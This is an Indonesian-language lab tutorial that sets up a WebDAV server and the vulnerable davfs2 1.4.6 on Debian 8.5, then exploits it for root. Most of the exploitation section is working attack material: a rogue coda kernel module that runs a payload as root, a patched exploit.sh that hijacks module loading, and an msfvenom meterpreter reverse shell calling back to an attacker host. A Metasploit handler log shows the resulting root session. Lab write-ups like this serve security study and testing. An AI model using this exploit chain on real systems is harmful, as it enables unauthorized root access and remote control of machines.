Daftar Isi:
- Latar Belakang
- Mempersiapkan Laboratorium
- Install dan mengkonfigurasi WebDav server
- Install dan mengkonfigurasi DAVFS2
- Mendeteksi kerentanan DAVFS2
- Mengeksploitasi Kerentanan DAVFS2
- Selanjutnya
Latar Belakang
DAVFS2 adalah program yang digunakan untuk mengakses Web Distributed Authoring and Versioning atau biasa disebut WebDAV. Dengan DAVFS2, kita dapat mounting web resources seperti layaknya mounting Unix/Linux resource lainnya. Program ini bisa diunduh di davfs2 project
Mempersiapkan Laboratorium
Sebelum kita membahas bagaimana mendeteksi dan kemudian mengekploitasi kerentanan DAVFS2, kita akan terlebih dahulu mempersiapkan system yang akan digunakan untuk percobaan ini. Perlu diketahui bahwa kombinasi system yang saya jabarkan dalam artikel ini bukanlah kombinasi yang mutlak untuk dapat mengexploitasi DAVFS2 namun disarankan menggunakan distribusi berbasis debian karena kode exploit yang tersedia di exploit-db menggunakan module CODA yang tidak berjalan secara otomatis di distribusi ini. Berikut langkah yang diperlukan untuk mempersiapkan laboratorium
Install dan mengkonfigurasi WebDav server
Dalam laboratorium ini, kita akan menggunakan Ubuntu 16.04 desktop sebagai webdav server. Module webdav sudah tersedia secara default di ubuntu dan hanya perlu diaktifkan dan kemudian dikonfigurasi. Lakukan langkah-langkah berikut:
a. Aktifkan webdav dengan perintah berikut
sudo a2enmod dav_fs
b. Restart apache dan pastikan module dav_module dan dav_fs telah berjalan dengan baik
sudo service apache2 restart
sudo apachectl -M
/* Module yang dibutuhkan akan muncul seperti
dav_module (shared)
dav_fs_module (shared)
*/
c. Buat direktori yang akan digunakan oleh webdav dan lock file terkait dan kemudian ganti owner direktori tersebut ke akun www-data agar apache2 dapat menulis dan membaca ke direktori tersebut
sudo mkdir /var/www/html/webdav
sudo mkdir /var/www/lock
sudo chown www-data:www-data /var/www/html/webdav /var/www/lock
d. Menerapkan authentikasi password untuk melindungi webdav. Terdapat beberapa metode authentikasi password yang tersedia yaitu Basic Authentication dan Digest Authentication. Pemilihan metode authentikasi didasari oleh kompatibilitas client yang akan menggunakan webdav. Berikut jenis client yang dapat menggunakan salah satu metode yang berjalan di protokol HTTP dan HTTPS
Jenis Authentikasi | HTTP | HTTPS |
---|---|---|
Basic | Mac, Linux | Windows,Mac, Linux |
Digest | Windows,Mac, Linux | Windows,Mac, Linux |
Dalam simulasi ini kita akan menggunakan metode basic password authentication karena sederhana dan kompatibel dengan debian yang menjadi target eskalasi hak akses yang kita bahas.
Untuk menggunakan metode basic password, buat file yang menyimpan user webdav berikut dengan password hashnya.
sudo htpasswd -c /etc/apache2/.htpasswd webdav-user
pastikan file berhasil dibuat dengan membaca isi file tersebut
adinanta@ubuntu:~$ cat /etc/apache2/.htpasswd
webdav-user:$apr1$P8JRXw.R$qi/EPtlvld324h17Ongox.
setelah itu, ganti owner file .htpasswd ke www-data dan memastikan file tersebut hanya boleh dibaca dan diedit oleh www-data
sudo chown www-data:www-data /etc/apache2/.htpasswd
sudo chmod 640 /etc/apache2/.htpasswd
e. Mengkonfigurasi Virtual Host dengan membuat file konfigurasi di /etc/apache2/site-available/webdav.conf
sudo nano /etc/apache2/sites-available/webdav.conf
dengan isi berikut ini
DavLockDB /var/www/lock/DavLock
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/webdav
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/webdav>
Options Indexes MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
</VirtualHost>
Alias /webdav /var/www/html/webdav
<Location /webdav>
DAV On
AuthType Basic
AuthName "webdav"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Location>
kemudian restart apache dengan perintah reload
sudo service apache2 reload
f. Lakukan testing dengan mengakses webdav melalui browser dan mengetik http://ip-server/webdav dan seharusnya akan muncul dialog box password authentication seperti dibawah ini
Masukan akun webdav-user berikut dengan password yang kita buat sebelumnya dan apabila isi direktory webdav muncul maka konfigurasi webdav server berhasil.
Install dan mengkonfigurasi DAVFS2
DAVFS2 merupakan opensource webdav client untuk linux yang tersedia di http://savannah.nongnu.org/projects/davfs2. Kerentanan DAVFS2 yang dapat dimanfaatkan untuk meningkatkan hak akses ada pada versi 1.4.6 seperti yang diungkap oleh Lorenzo Cantoni di exploit-db.
Untuk mensimulasikan proses peningkatan hak akses ini, kita akan mengcompile dan menginstal DAVFS2 versi 1.4.6 di Sistem Operasi Debian 8.5. Setelah DAVFS2 terinstall dan berhasil mount dan mengakses webdav server di Sistem Operasi Ubuntu diatas sebagai user biasa (akun non-root), maka kita akan mencoba mengeksploitasi kerentanan yang telah ditemukan untuk mendapatkan hak akses sebagai root.
Ikuti langkah berikut untuk mengcompile dan menginstall DAFVS2 di Debian 8.5
a. Login ke Debian OS, kemudian “su -” sebagai root dan install development tools agar kita bisa mencompile dan menginstall DAFS2
adinanta@skywalker:~$ su -
Password:
root@skywalker:~# apt-get install build-essential
b. Download DAVFS2 versi 1.4.6 dari download.savannah.gnu.org dan kemudian extract tar.gz
root@skywalker:~# wget http://download.savannah.gnu.org/releases/davfs2/davfs2-1.4.6.tar.gz -O davfs2-1.4.6.tar.gz
root@skywalker:~# tar -xzf davfs2-1.4.6.tar.gz
c. DAVFS2 menggunakan library neon untuk berkomunikasi dengan server. Untuk itu, kita harus terlebih dahulu menginstall library tersebut berikut dengan header files nya agar compilation dapat berkerja dengan baik
root@skywalker:~# wget http://www.webdav.org/neon/neon-0.29.6.tar.gz -O neon-0.29.6.tar.gz
root@skywalker:~# tar -xzf neon-0.29.6.tar.gz
root@skywalker:~/neon-0.29.6# ./configure
root@skywalker:~/neon-0.29.6# make
root@skywalker:~/neon-0.29.6# make install
d. Sebelum melakukan compilation, kita terlebih dahulu membuat configuration file di folder yang menyimpan source code davfs2-1.4.6
root@skywalker:~/davfs2-1.4.6# ./configure
root@skywalker:~/davfs2-1.4.6# make
root@skywalker:~/davfs2-1.4.6# make install
e. Setelah DAVFS2 berhasil terinstall, pastikan versi yang berjalan adalah versi 1.4.6 dengan mengeksekusi mount.davfs -V
root@skywalker:~/davfs2-1.4.6# mount.davfs -V
davfs2 1.4.6 <http://savannah.nongnu.org/projects/davfs2>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
root@skywalker:~/davfs2-1.4.6#
f. Membuat user dan group davfs2
root@skywalker:~# useradd -m -d /var/cache/davfs2 davfs2
g. Pastikan user root dapat mount webdav yang tersedia di ubuntu sebelumnya. Alamat webdav yang telah dikonfigurasi sebelumnya di ubuntu saya adalah http://172.16.65.152/webdav. Sesuaikan dengan alamat IP ubuntu anda yang telah dikonfigurasi dengan webdav server
root@skywalker:~# mkdir webdav
root@skywalker:~# mount -t davfs http://172.16.65.152/webdav webdav
Please enter the username to authenticate with server
http://172.16.65.152/webdav or hit enter for none.
Username: webdav-user
Please enter the password to authenticate user webdav-user with server
http://172.16.65.152/webdav or hit enter for none.
Password:
root@skywalker:~#
root@skywalker:~# ls webdav/
lost+found test.txt
root@skywalker:~# cat webdav/test.txt
percobaan
root@skywalker:~#
h. Setelah itu, kita pastikan akun biasa yang ada di debian bisa mount ke webdav server dengan memasukan akun tersebut ke dalam group davfs2 dan membuat mount point di file /etc/fstab.
root@skywalker:~# usermod -a -G davfs2 adinanta
root@skywalker:~# getent group davfs2
davfs2:x:1001:adinanta
root@skywalker:~#
membuat mount point di /etc/fstab
root@skywalker:~# nano /etc/fstab
# tambahkan davfs mount point di akhir file seperti berikut ini
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/sda1 during installation
UUID=3801ef95-43ef-4649-bdb8-72e614df6a6c / ext4 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=e19aa00d-b1f9-4a9f-84cb-1660ceaecb25 none swap sw 0 0
/dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0
http://172.16.65.152/webdav /media/webdav davfs rw,users,noauto 0 0
i. Restart debian dan kemudian login sebagai akun biasa dan kemudian mount webdav untuk memastikan davfs2 berjalan dengan baik.
adinanta@skywalker:~$ mount /media/webdav/
Please enter the username to authenticate with server
http://172.16.65.152/webdav or hit enter for none.
Username: webdav-user
Please enter the password to authenticate user webdav-user with server
http://172.16.65.152/webdav or hit enter for none.
Password:
adinanta@skywalker:~$ ls /media/webdav/
lost+found percobaan.txt test.txt
adinanta@skywalker:~$
Mendeteksi kerentanan DAVFS2
Sebelum eksploitasi dilakukan, tentu kita harus terlebih dahulu melakukan validasi apakah davfs2 yang terinstall di mesin target (yaitu debian 8.5) menggunakan versi yang rentan. Berdasarkan Informasi dari exploit-db yang ada pada tautan berikut exploit-db, davfs2 versi 1.4.6 dan 1.4.7 memiliki kerentanan yang dapat dimanfaatkan untuk meninggikan atau mengeskalasi hak akses. Untuk memastikan target menggunakan versi yang rentan, kita dapat mengeksekusi mount.davfs dengan switch -V
adinanta@skywalker:~$ /sbin/mount.davfs -V
davfs2 1.4.6 <http://savannah.nongnu.org/projects/davfs2>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
adinanta@skywalker:~$
Dari hasil diatas, kita bisa memastikan bahwa target menggunakan versi davfs yang rentan
Mengeksploitasi Kerentanan DAVFS2
Waktunya kita mencoba mengeksoloitasi kerentanan ini di target kita yaitu debian 8.5 . Namun sebelum itu, perlu diingat bahwa membaca dan memahami kode exsploitasi yang telah tersedia akan meningkatkan kemungkinan berhasilnya proses eksploitasi. Kode exsploitasi yang ada di exploit-db sudah agak lama sehingga perlu dilakukan perbaikan minor agar exploitasi dapat berjalan dengan baik di debian 8.
Memahami cara kerja kode eksploitasi yang kita peroleh dari pihak lain sangat penting bukan hanya meningkatkan peluang keberhasilan eksploitasi tapi juga memastikan kode tersebut tidak mengeksekusi perintah yang tidak kita inginkan
Berikut ini beberapa kendala apabila kode exksploitasi tidak disesusaikan:
i.Proses compile terhadap module coda.c tidak berhasil karena arguments yang diberikan ke function call_usermodehelper_setup yang ada di file coda.c tidak lengkap. Hal ini terjadi karena linux kernel ver 3 telah mengupdate function tersebut untuk menerima 3 tambahan arguments. Berikut snippet dari error code yang muncul saat meng-compile module coda.c
adinanta@skywalker:~/exploit$ make
make -C /lib/modules/3.16.0-4-686-pae/build M=/home/adinanta/exploit modules
make[1]: Entering directory '/usr/src/linux-headers-3.16.0-4-686-pae'
Makefile:10: *** mixed implicit and normal rules: deprecated syntax
make[1]: Entering directory `/usr/src/linux-headers-3.16.0-4-686-pae'
CC [M] /home/adinanta/exploit/coda.o
/home/adinanta/exploit/coda.c: In function ‘init_module’:
/home/adinanta/exploit/coda.c:10:5: error: too few arguments to function ‘call_usermodehelper_setup’
sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_ATOMIC);
ii.Perintah depmod yang bertugas untuk membuat list dependancy module tidak dipanggil dengan full path oleh file exploit.sh sehingga proses tersebut tidak berjalan.
depmod -b $PWD
echo "#######################################"
echo "Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is $PWD/rootprog"
echo "WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module"
echo "#######################################"
read ROOTPROG
iii.Untuk menghindari kendala diatas, kita akan melakukan sedikit perbaikan terhadap function call di file coda.c dan juga menambahkan full path perintah depmod di file exploit.sh.
Sesuai dengan petunjuk yang telah dipaparkan dalam exploit-db, kita akan melakukan langkah berikut ini untuk mengeksoloitasi davfs2 untuk meningkatkan hak akses:
1.Login ke target Sistem Operasi (OS) debian 8.5 sebagai akun biasa (non-root account)
2.Pastikan akun yang kita gunakan dapat melakukan mounting ke webdav server dengan memastikan bahwa akun tersebut sudah masuk ke dalam group davfs dan mount point telah didefinisikan di file /etc/fstab
adinanta@skywalker:~$ getent group davfs2
davfs2:x:1001:adinanta
adinanta@skywalker:~$
adinanta@skywalker:~$ cat /etc/fstab
#----Informasi penting yang harus ada --
http://172.16.65.152/webdav /media/webdav davfs rw,users,noauto 0 0
3.Compile coda module bayangan (tidak valid) yang dibuat untuk mengelabui davfs sehingga mengeksekusi module tersebut dan kemudian menjalankan program yang kita sisipkan.
3.a Membuat file coda.c dan jangan lupa untuk menambahan ” NULL, NULL, NULL” setelah GFP_ATOMIC karena function call_usermodhelper_setup membutuhkan tambahan arguments
adinanta@skywalker:~$ mkdir exploit
adinanta@skywalker:~$ cd exploit/
adinanta@skywalker:~/exploit$ nano coda.c
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
struct subprocess_info *sub_info;
char *argv[] = { "/tmp/rootprog", NULL, NULL };
static char *envp[] = {"HOME=/tmp/","TERM=linux","PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
sub_info = call_usermodehelper_setup( argv[0], argv, envp, GFP_ATOMIC, NULL, NULL, NULL);
if (sub_info == NULL)
{
printk(KERN_INFO "call_usermodehelper_setup failed \n");
return -ENOMEM;
}
else
{
printk(KERN_INFO "w00t!!!\n");
call_usermodehelper_exec( sub_info, UMH_WAIT_PROC );
}
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "Exiting.\n");
}
3.b Membuat file Makefile untuk keperluan compile. Jangan lupa menggunakan TAB sebelum perintah “make -C ..” dan bukan space
adinanta@skywalker:~/exploit$ nano Makefile
obj-m += coda.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
3.c Compile coda.c module
adinanta@skywalker:~/exploit$ make
make -C /lib/modules/3.16.0-4-686-pae/build M=/home/adinanta/exploit modules
make[1]: Entering directory '/usr/src/linux-headers-3.16.0-4-686-pae'
Makefile:10: *** mixed implicit and normal rules: deprecated syntax
make[1]: Entering directory `/usr/src/linux-headers-3.16.0-4-686-pae'
CC [M] /home/adinanta/exploit/coda.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/adinanta/exploit/coda.mod.o
LD [M] /home/adinanta/exploit/coda.ko
make[1]: Leaving directory '/usr/src/linux-headers-3.16.0-4-686-pae'
adinanta@skywalker:~/exploit$
4.membuat file exploit.sh dan jangan lupa untuk menggunakan full path saat mengeksekusi depmod
adinanta@skywalker:~/exploit$ nano exploit.sh
#!/bin/bash
KERNELV=`uname -r`
echo "#######################################"
echo "Specify the full path of the kernel module which you want to load"
echo "Leave empty if you wish to compile it now"
echo "Understand that you need kernel headers, make and gcc for successful compilation"
echo "#######################################"
read EXPLOITMODPATH
if [ -z $EXPLOITMODPATH ]; then
make
EXPLOITMODPATH=$PWD/coda.ko
fi
echo "#######################################"
echo "Copying the modules in use for the running kernel in the local directory"
echo "#######################################"
mkdir -p lib/modules
cp -R /lib/modules/`uname -r` lib/modules
echo "#######################################"
echo "Copying coda.ko module"
echo "#######################################"
cp $EXPLOITMODPATH $PWD/lib/modules/$KERNELV/kernel/fs/coda
echo "#######################################"
echo "Setting the 'modules.dep' and running depmod"
echo "#######################################"
echo -n $PWD | sed 's/\//\\\//g' > /tmp/escapedpwd
ESCAPEDPWD=`cat /tmp/escapedpwd`
OLD_CODA_PATH="kernel\/fs\/coda\/coda.ko"
NEW_CODA_PATH="$ESCAPEDPWD\/lib\/modules\/$KERNELV\/kernel\/fs\/coda\/coda.ko"
sed 's/'$OLD_CODA_PATH'/'$NEW_CODA_PATH'/g' $PWD/lib/modules/$KERNELV/modules.dep > /tmp/new_modules.dep
cat /tmp/new_modules.dep | sed 's/\\//g' > /tmp/modules.dep.ok
cp /tmp/modules.dep.ok $PWD/lib/modules/$KERNELV/modules.dep
/sbin/depmod -b $PWD
echo "#######################################"
echo "Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is $PWD/rootprog"
echo "WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module"
echo "#######################################"
read ROOTPROG
if [ -z $ROOTPROG ]; then
ROOTPROG=$PWD/rootprog
fi
cp $ROOTPROG /tmp/rootprog
echo "#######################################"
echo "Setting MODPROBE_OPTIONS variable"
echo "#######################################"
export MODPROBE_OPTIONS="-d $PWD"
exec /bin/bash -i
5.Membuat program yang akan kita sisipkan untuk dieksekusi oleh davfs2 sebagai root. Ini adalah tujuan utama kita dalam mengeksploitasi kerentanan ini. Untuk itu, kita akan membuat program metasploit reverse shell meterpreter dalam format ELF menggunakan msfvenom di kali linux. Program ini akan dieksekusi oleh davfs yang kemudian memberikan shell ke kali linux kita (attacking machine)
root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.65.150 LPORT=443 -f elf >rootprog
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71 bytes
root@kali:~#
6.Jangan lupa untuk mengaktifkan metasploit di kali linux untuk menerima koneksi balik dari target kita yaitu debian 8.5
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.65.150
lhost => 172.16.65.150
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST 172.16.65.150 yes The listen address
LPORT 443 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > run
[*] Started reverse TCP handler on 172.16.65.150:443
[*] Starting the payload handler...
7.Copy program yang baru saja kita buat di kali linux ke sistem target yaitu debian 8.5 kita
root@kali:~# scp rootprog adinanta@172.16.65.154:/home/adinanta/rootprog/exploit
adinanta@172.16.65.154's password:
rootprog 100% 155 0.2KB/s 00:00
root@kali:~#
8.Setelah ter-copy ke sistem target, berikan executable permission ke program tersebut
adinanta@skywalker:~/exploit$ chmod +x rootprog
adinanta@skywalker:~/exploit$
9.Jalankan
adinanta@skywalker:~/exploit$ ./exploit.sh
#######################################
Specify the full path of the kernel module which you want to load
Leave empty if you wish to compile it now
Understand that you need kernel headers, make and gcc for successful compilation
#######################################
/home/adinanta/exploit/coda.ko
#######################################
Copying the modules in use for the running kernel in the local directory
#######################################
#######################################
Copying coda.ko module
#######################################
#######################################
Setting the 'modules.dep' and running depmod
#######################################
#######################################
Specify the user-mode ELF which you whish to copy in /tmp/rootprog that will be run as root. Default value is /home/adinanta/exploit/rootprog
WARNING !!!!!!!! YOU HAVE ONLY 1 SHOT !!!!! unmounting webdav partitions doesn't unload the coda.ko module
#######################################
#######################################
Setting MODPROBE_OPTIONS variable
#######################################
adinanta@skywalker:~/exploit$
10.ubah file davfs2.conf di folder .davfs2 yang berada di home folder user yang kita gunakan agar davfs2 menggunakan kernel_fs coda
adinanta@skywalker:~/exploit$ nano ~/.davfs2/davfs2.conf
# davfs2 configuration file 2009-04-12
# version 9
# ------------------------------------
# Copyright (C) 2006, 2007, 2008, 2009 Werner Baumann
# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved.
# Please read the davfs2.conf (5) man page for a description of the
# configuration options and syntax rules.
# Available options and default values
# ====================================
# General Options
# ---------------
# dav_user davfs2 # system wide config file only
# dav_group davfs2 # system wide config file only
# ignore_home # system wide config file only
kernel_fs coda
# buf_size 16 # KiByte
11.Pastikan rootprog berhasil dicopy oleh exploit.sh script ke folder /tmp
adinanta@skywalker:~/exploit$ ls -l /tmp/
total 840
-rw-r--r-- 1 adinanta adinanta 25 Aug 8 07:48 escapedpwd
-rw-r--r-- 1 adinanta adinanta 407965 Aug 8 07:48 modules.dep.ok
-rw-r--r-- 1 adinanta adinanta 407965 Aug 8 07:48 new_modules.dep
drwx------ 2 root root 4096 Aug 8 07:42 pulse-PKdhtXMmr18n
-rwxr-xr-x 1 adinanta adinanta 155 Aug 8 07:48 rootprog
12.Waktunya menikmati root akses ke mesin target :). Mount webdav volume berikut dengan username dan password untuk tersambung ke webdav dan kemudian tunggu meterpreter shell milik debian 8.5 dengan hak akses root di kali linux kita.
adinanta@skywalker:~/exploit$ mount /media/webdav/
Please enter the username to authenticate with server
http://172.16.65.152/webdav or hit enter for none.
Username: webdav-user
Please enter the password to authenticate user webdav-user with server
http://172.16.65.152/webdav or hit enter for none.
Password:
13.Boom!!, meterpreter berhasil diterima oleh kali linux kita
[*] Started reverse TCP handler on 172.16.65.150:443
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.65.154
[*] Meterpreter session 1 opened (172.16.65.150:443 -> 172.16.65.154:51929) at 2016-08-08 07:49:55 +0700
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer : skywalker
OS : Linux skywalker 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt25-2+deb8u3 (2016-07-02) (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter > shell
Process 1539 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
Selanjutnya
Selamat mencoba dan apabila memungkinkan gunakan distribusi LINUX lainnya untuk melihat apakah kode exploitasi yang tersedia bisa berjalan dengan baik.